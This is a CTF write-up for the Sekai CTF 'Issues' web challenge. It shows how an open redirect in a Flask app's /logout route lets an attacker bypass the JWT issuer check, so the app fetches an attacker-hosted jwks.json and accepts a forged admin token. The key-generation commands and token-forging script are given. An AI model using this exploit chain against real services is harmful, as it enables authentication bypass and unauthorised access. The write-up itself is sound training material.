[Sekai CTF][Web Application] - ⚙️ Issues
This is my writeup for the "Issues" challenge on the Sekai CTF plateform.
The main page of the website is a page that simply displays the status of the page (200 OK). Also, the source code is available.
It is a Flask application that implements a JWT authorization. You have to access the /flag route in order to get the flag.
@api.before_request
def authorize():
if "Authorization" not in request.headers:
raise Exception("No Authorization header found")
authz_header = request.headers["Authorization"].split(" ")
if len(authz_header) < 2:
raise Exception("Bearer token not found")
token = authz_header[1]
if not authorize_request(token):
return "Authorization failed"
@api.route("/flag")
def flag():
return secret_flag
Another route is interesting. It is /logout, because it can take a redirect parameter which specifies to which page the server will redirect the user when logout. An open redirect vulnerability exists because an attacker can control the value of this parameter and redirect a victim to another domain.
@app.route("/logout")
def logout():
session.clear()
redirect_uri = request.args.get('redirect', url_for('home'))
return redirect(redirect_uri)
The issuer value must be added in the headers of the JWT token in order to specify the host where the public key is located : JWK. This JWK file is in this endpoint : /.well-known/jwks.json.
def get_public_key_url(token):
is_valid_issuer = lambda issuer: urlparse(issuer).netloc == valid_issuer_domain
header = jwt.get_unverified_header(token)
if "issuer" not in header:
raise Exception("issuer not found in JWT header")
token_issuer = header["issuer"]
if not is_valid_issuer(token_issuer):
raise Exception(
"Invalid issuer netloc: {issuer}. Should be: {valid_issuer}".format(
issuer=urlparse(token_issuer).netloc, valid_issuer=valid_issuer_domain
)
)
pubkey_url = "{host}/.well-known/jwks.json".format(host=token_issuer)
return pubkey_url
We can't modify the value of the issuer by a value other than: localhost:8080.
We can then use the open redirect vulnerability to bypass this protection.
First of all, we will create a private key and a public key that we host on our own server.
# Generate private key
> ssh-keygen -t rsa -b 4096 -m PEM -f private.key
> Generating public/private rsa key pair.
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in private.key
Your public key has been saved in private.key.pub
# Generate public key
> openssl rsa -in private.key -pubout -outform PEM -out public.key
Then, we will craft our JWT token by signing it with our private key and specifying user as admin (to access the flag). For the value of the issuer, we keep the good domain (localhost:8080) and we take advantage of the open redirect to redirect to our domain.
import jwt
private = open("private.key").read().strip()
jwt_token = jwt.encode(
{"user":"admin"},
private,
algorithm="RS256",
headers={"issuer":"http://localhost:8080/logout?redirect=http://lab"}
)
print(jwt_token)
If we make the request to the flag endpoint using our JWT, the server will try to find the JWK file in order to validate the signature.
We have a request on our server trying to read the /.well-known/jwks.json file.
qu35t@lab:/tmp$ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
34.172.156.35 - - [09/Oct/2022 14:10:43] code 404, message File not found
34.172.156.35 - - [09/Oct/2022 14:10:43] "GET /.well-known/jwks.json HTTP/1.1" 404 -
We will create this file and add our public key generated earlier, which will validate our JWT token and authenticate us in order to access the flag. Overall, we just made sure that the server uses our jwks.json file instead of the one on the server in order to be able to validate the JWT token (and all that from an open redirect) !